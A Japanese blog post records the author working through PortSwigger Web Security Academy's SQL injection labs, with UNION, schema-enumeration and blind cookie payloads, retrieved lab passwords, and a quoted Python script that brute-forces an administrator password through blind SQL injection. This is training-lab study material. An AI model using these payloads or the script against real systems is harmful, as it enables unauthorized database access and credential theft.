【SQLi編】BurpSuite開発元のWebSecurity Academyに入門した

# はじめに
Burpsuiteの開発元の会社が、Webセキュリティの解説ページ(英語)を提供しています。
それを勉強したときの個人的な記録です。

https://portswigger.net/web-security

# SQL Injectionの解説ページ

https://portswigger.net/web-security/sql-injection

URLのパラメータを工夫して、
サーバ側で実行されるSQLに細工すると、通常では見えないデータが見えることがある。

通常のリクエストで実行されるSQL
```https://insecure-website.com/products?category=Gifts```
->
```SELECT * FROM products WHERE category = 'Gifts' AND released = 1```

```'```と```--```	を上手くつかうと、常に成立する条件式にできる。

```https://insecure-website.com/products?category=Gifts'+OR+1=1--```
->
```SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1```

# Subverting application logic

SQL Injection でパスワード判定を読み飛ばすことができる。

通常のログイン
```SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'```

SQLIを使うと、
```
User: administrator'--
Pass: tekitou
```
->
```SELECT * FROM users WHERE username = 'administrator'--' AND password = tekitou'```

# SQL Injection Uniton Attack

## Determining the number of columns required in an SQL injection UNION attack

unionを使うことで、クエリーに対するレスポンスのカラム数を調べることができる。

unionは下記のように２つのselect文を結合することができるが、
それぞれのselect文のレスポンスに含まれるカラム数が一致してなければエラーとなる。
また、それぞれのレスポンスの型も一致している必要がある。
```SELECT a, b FROM table1 UNION SELECT c, d FROM table2```

SQLiで下記のようにNULLと比較していき、
エラーが発生しない場合のNULLの個数がレスポンスのカラム数となる。
```
' UNION SELECT NULL--  
' UNION SELECT NULL,NULL--  
' UNION SELECT NULL,NULL,NULL--

こっちでも良い
' ORDER BY 1--  
' ORDER BY 2--  
' ORDER BY 3--
```


## Finding columns with a useful data type in an SQL injection UNION attack

同様の発想で、レスポンスの型をカラムごとに推察することができる。

```
' UNION SELECT 'a',NULL,NULL,NULL--  
' UNION SELECT NULL,'a',NULL,NULL--  
' UNION SELECT NULL,NULL,'a',NULL--  
' UNION SELECT NULL,NULL,NULL,'a'--
```

### lab

[lab](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text)は下記でOKだった。
なお、```27ju0ZFn```は問題条件で与えられている。
https://ac7a1f231e01348fc07611b30004008f.web-security-academy.net/filter?category=Lifestyle%27union+select+null,%27ju0ZFn%27,null--

## Using an SQL injection UNION attack to retrieve interesting data

下記が分かればSQLiで、秘匿情報を取得できることになる。
- レスポンスのカラム数
- レスポンスの型
- テーブル名
- カラム名

### lab
[lab](https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables)では、テーブル名とカラム名は前提条件として与えられている。

> The database contains a different table called `users`, with columns called `username` and `password`.

カラム数が2個でそれぞれが文字列なことを確かめた後、下記リクエストを投げると、
ページ内にユーザ一覧とパスワードが表示された。
https://acbc1f071fd1f67bc0b0442b00690077.web-security-academy.net/filter?category=Gifts'+union+select+username,password+from+users-- 


```text
carlos
q8wpl88egpzzm532awyc

wiener
wbns9vu1iumv909zonoe

administrator
ny1xgw6dwrhpz7ak503k
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/15085/8876da5d-3bec-280f-1fe9-90f3c1187f42.png)


あとは、administratorとしてログインすればクリアとなる。

# Examining the database in SQL injection attacks

DB自体の情報を集める手法について学ぶ。

## Querying the database type and version

Union Attackで下記クエリを投げることで、データベースの種類を調べることができる。

| type       | Query                   |
| ---------- | ----------------------- |
| MS, MySQL  | SELECT @@version        |
| Oracle     | SELECT * FROM v$version |
| PostgreSQL | SELECT version()        |


### lab

とりあえず、DBの種類を調べてみると、Oracleを使っているようだ。
```
/filter?category=Gifts'union+select+@@version--

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'
```

Orcleは```dual```という組み込みテーブルがあるので、
それを使って、ＤＢのカラム数と型を調べていく。

下記のリクエストでサーバエラーとならなかったので、
カラム2個でそれぞれ文字列なことが分かった。
```
'union+select+null,null+from+dual--
'union+select+'a','b'+from+dual--
```

あとは、Orcleのversionを問い合わせる。

[SQL Cheat-Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)のDatabase versionを見ると下記の通り。

```
Oracle

SELECT banner FROM v$version  

SELECT version FROM v$instance
```

これをもとにUnion Attackを考えると、下記となると思ったが、
エラーとなった。
```
'union+SELECT+banner,version+FROM+v$version--
```

versionを知りたい場合は、そこのnullしないとダメらしい。
```
'union+SELECT+banner,null+FROM+v$version--
```


### lab
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft

まずはカラム数を確認する。

下記の形でNULLをいろいろな数で試すがすべてダメだった。

```
これはダメだった

'UNION+SELECT+NULL,NULL--
```

[SQL Cheat-Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)のコメントを見ると、 MySQLの場合は、`--`の末尾にスペースが必要とのこと。

下記のリクエストが成功したため、MySQLであること、カラムは２個必要なことがわかった。
```
'UNION+SELECT+NULL,NULL--+
```

あとは、MySQLのversionを問い合わせるだけでクリアとなった。

```
'UNION+SELECT+@@version,null--+
```

## Listing the contents of the database
Oracle以外のDBならinformation schemaと呼ばれる情報にアクセスできる。

- テーブルの一覧取得
```
SELECT * FROM information_schema.tables

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE  
=====================================================  
MyDatabase dbo Products BASE TABLE  
MyDatabase dbo Users BASE TABLE  
MyDatabase dbo Feedback BASE TABLE
```

- カラムの一覧取得
```
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE  
=================================================================  
MyDatabase dbo Users UserId int  
MyDatabase dbo Users Username varchar  
MyDatabase dbo Users Password varchar
```


### lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle

Union Atackを駆使しながら、テーブル名、カラム名を見つけ出し、管理者のアカウントにログインできればクリアとなる。

まずはこのページの、レスポンスのカラム数を確認すると２個だった。Oracleではない。(コメントアウト```--```で見分けれた)

information_schema.tablesをググると、table_nameというカラムがあることがわかるので、下記Union Attackでテーブル一覧を取得できる、。
```
https://ac8b1fc51f2c5ba2c0998fe300c70049.web-security-academy.net/filter?category=Pets%27+union+select+table_name,null+from+information_schema.tables--
```

ユーザー名に関係しそうなテーブルを探すと、```users_wbxexp```というのが怪しそうだった。

このテーブルのカラム名を表示してみる。

```
https://ac9e1fa11f7c00bbc05aa1ff00d30087.web-security-academy.net/filter?category=Gifts%27union+select+column_name,null+from+information_schema.columns+WHERE%20table_name=%27users_wbxexp%27--

username_ipmzug
password_rclrcf
```

```27users_wbxexp```テーブルに、
```username_ipmzug```カラムと```password_rclrcf```カラムがあることが分かった。

このカラムに格納されているデータを表示すると、
```administrator/1881fpa6wls6b0pbbbgk```が得られたので、ログインしてクリア。
```-
'union+select+username_ipmzug,password_rclrcf+from+users_wbxexp-- 

administrator
1881fpa6wls6b0pbbbgk
```


## Equivalent to information schema on Oracle

Oracleの場合でも、クエリは異なるがテーブル名一覧、カラム名一覧は取得できる。

```
SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

```

### lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle

Oracleのデータベースに対して、管理者のIDとパスワードを取得する問題

カラム数は2だった。
```
'union+select+null,null+from+dual--+
```

テーブル名一覧を表示させて、
ユーザー情報がありそうなテーブル名は下記２つだった。
```
'union+select+table_name,null+from+all_tables--+ 

USER$
USERS_UEMNTX
```

それぞれのテーブル名のカラムをチェックすると、
```USERS_UEMNTX```テーブルのカラム名が重要そうだった。

```
'union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UEMNTX'--+

USERNAME_DLCRUI
PASSWORD_KUHMNR
```

それぞれのカラムを表示すると、管理者のID/PWが取得できた。
ログインしたらクリアとなった。
```
'union+select+USERNAME_DLCRUI,PASSWORD_KUHMNR+from+USERS_UEMNTX--+

administrator
dh22inzfycvwdj12ze45
```


## Retrieving multiple values within a single column

クエリに対するレスポンスが1カラムの場合は、
文字列連結を使うことで複数カラムの情報を1カラム分として取得できる。

Oracleの場合は、```||```で文字列連結する。
```
' UNION SELECT username || '~' || password FROM users--
```


### lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle

DB名を探して、カラム名を探して管理者としてログインする問題。

カラムは2個のようだ。
```
'union+select+null,null--
```

PostgresSQLを使っている。
```
'union+select+version(),null-- 

PostgreSQL 11.14 (Debian 11.14-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit
```


テーブル一覧をみると```users_zmudin```テーブルが怪しい。
```
'union+select+table_name,null+FROM+information_schema.tables--
users_zmudin
```

カラム名を見てみる。
```
'union+select+column_name,null+FROM+information_schema.columns+WHERE+table_name='users_zmudin'-- 

username_oyvsbv
password_mibfgx
```

それぞれのカラム名で表示してみると、ID/PWが取得できた。
```
'union+select+username_oyvsbv,password_mibfgx+FROM+users_zmudin--

administrator
iebmd14w457mus3eddlg
```


## lab


カラム数と文字列型の場所を探してみると、
カラム数は2個で、2個目が文字列型だった。
```
'union+select+null,'a'--
```

usernameとpasswrodというカラム名で、
usersテーブルがあることは問題文に明示されているため、
それぞれの文字列を連結すれば表示できた。
```
'union+select+null,username+||'~'||+password+from+users--
```
# Blind Injection

## Exploiting blind SQL injection by triggering conditional responses

クッキーを細工してSQLiを実行できる場合もある。

ブラウザから```TrackingId```という値をもとにサーバー側でユーザー認証をする場合、
下記のようなSQLが実行されると想定できる。
```
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```
この場合、TrackingIdを下記のように変更するとSQLiとなる。
```
TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='1

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'='1'

```

### lab

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

Union Attackを試してみると、nullの個数に関係なく毎回成功(200)が返ってくるため、
DBの構造を読むことができなかった。

Cookieの中に```TrackingId```という独自のフィールドがあり、
そこにSQLiを仕込む余地がある。

```
'AND '1'='1   こっちは成功
'AND '1'='0   こっちは失敗
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/15085/d9c52d83-3ce1-cf94-04ff-6bac998f3ed2.png)


```
'AND (select substring(password,1,1) from users WHERE username='administrator')='§b§
```


Burpsuiteで1個づつ調べていくと良いのだが、
面倒で時間がかかる過ぎるとタイムアップしてしまうため、
[pythonのwriteup](https://victomteng1997.github.io/2020/07/08/Web-Security-Academy-SQL-Injection-2/)を見た。

```python
import requests  
import sys  
  
def blind_sql_injection(url, length):  
 output = ''  
 target = url  
 headers={}  
 for i in range(1, length+1):  
 base_cookie = "TrackingId=a'UNION SELECT 'a' from users WHERE username = 'administrator' and (ascii(substring(password,%s,1)))=[CHAR]--; session=Rict9ulgAu63wgQ3vkcsbQ9vfVUPsGBo"%str(i)  
 for j in range(32,126):  
 print("Currently trying digit %s with: "%str(i), chr(j))  
 cookie = base_cookie.replace("[CHAR]",str(j))  
 headers["cookie"]=cookie  
 res = requests.get(url, headers=headers)  
 if "Welcome" in res.content.decode('utf-8'):  
 output += chr(j)  
 break  
 print("Current password: ", output)  
  
url = "https://acff1f841e04dc72802261c1003500e8.web-security-academy.net/"  
blind_sql_injection(url, 20)
```